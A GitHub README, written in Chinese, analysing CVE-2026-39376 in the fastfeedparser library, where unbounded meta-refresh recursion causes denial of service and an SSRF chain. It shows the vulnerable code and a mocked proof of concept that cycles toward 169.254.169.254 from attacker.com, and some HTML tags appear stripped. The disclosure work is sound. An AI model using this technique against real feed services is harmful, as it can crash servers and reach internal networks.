redyank/CVE-2026-39376
GitHub: redyank/CVE-2026-39376
这是一个针对 fastfeedparser 库中 CVE-2026-39376 漏洞的详细分析与验证工具,展示了如何利用 meta-refresh 链造成无限重定向循环 DoS 及 SSRF。
Stars: 0 | Forks: 0
# CVE-2026-39376
CVE-2026-39376(通过 meta-refresh 链造成的无限重定向循环 DoS)
### 概述
当 `parse()` 获取到一个包含 `` 标签的 HTML 页面时,它会使用重定向 URL 递归调用自身——没有深度限制,没有访问过 URL 的去重,也没有重定向计数上限。返回无限 HTML meta-refresh 响应链的攻击者控制的服务器会导致无界递归,耗尽 Python 调用栈并使进程崩溃。此漏洞还可以与配套的 SSRF 问题结合,绕过初始 URL 检查后访问内部网络目标。
### 详情
`parse()` 在 XML 解析失败时捕获 `ValueError`,通过 `_extract_meta_refresh_url()` 从 HTML 响应中提取 meta-refresh URL,并使用该 URL 尾递归调用自身。递归调用是无条件的——没有最大重定向深度,没有已访问 URL 的集合,也没有针对自引用或循环重定向的保护。
**`fastfeedparser/main.py` — `parse()`(递归汇点):**
```
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← unconditional recursion, no depth limit
```
`_extract_meta_refresh_url()` 使用 `urljoin(base_url, match.group(1))`,因此会跟随 `content=` 属性中的相对 URL、协议相对 URL(`//host/path`)以及绝对 URL。
### 概念验证
不需要实时服务器。下面的 monkeypatch `_fetch_url_content` 返回无限的 HTML meta-refresh 链,并确认存在无界递归:
```
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""
not a feed""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# 输出:
# 已确认无限循环:在调用 11 处停止
# 停止前总共获取:11
```
每次递归调用都会执行一次真实的 HTTP 请求(30 秒超时)、HTML 解析以及 Python 栈帧分配。在 Python 默认递归限制为 1000 且每个请求超时 30 秒的情况下,单个攻击者请求在引发 `RecursionError` 之前可以占用服务器线程长达约 8 小时。
**SSRF 链变体:** 第一个响应可以是重定向到内部地址(`http://192.168.1.1/`)的合法 HTML,从而让重定向循环也作为 SSRF 绕过手段,用于访问那些仅通过应用于初始 URL 的应用级 URL 验证才会被阻止的目标。
### 影响
这是一个拒绝服务漏洞,并具有次级 SSRF 链式影响。任何接受用户提供 feed URL 并调用 `fastfeedparser.parse()` 的应用程序都会受到影响——包括 RSS 聚合器、feed 预览服务和“通过 URL 订阅”功能。未经身份验证的攻击者可以:
- 无限期占用服务器工作线程(每个攻击者连接对应一个请求)
- 在约 1000 次重定向后通过 `RecursionError` 使工作进程崩溃
- 利用重定向链将 SSRF 请求转向内部网络目标
标签:CVE, CVE-2026-39376, DoS, HTML, meta-refresh, Python, SSRF, URL解析, Web安全, 安全漏洞, 拒绝服务, 数字签名, 无后门, 无限递归, 服务端请求伪造, 栈溢出, 漏洞分析, 网络安全, 蓝队分析, 资源耗尽, 路径探测, 逆向工具, 递归, 重定向循环, 隐私保护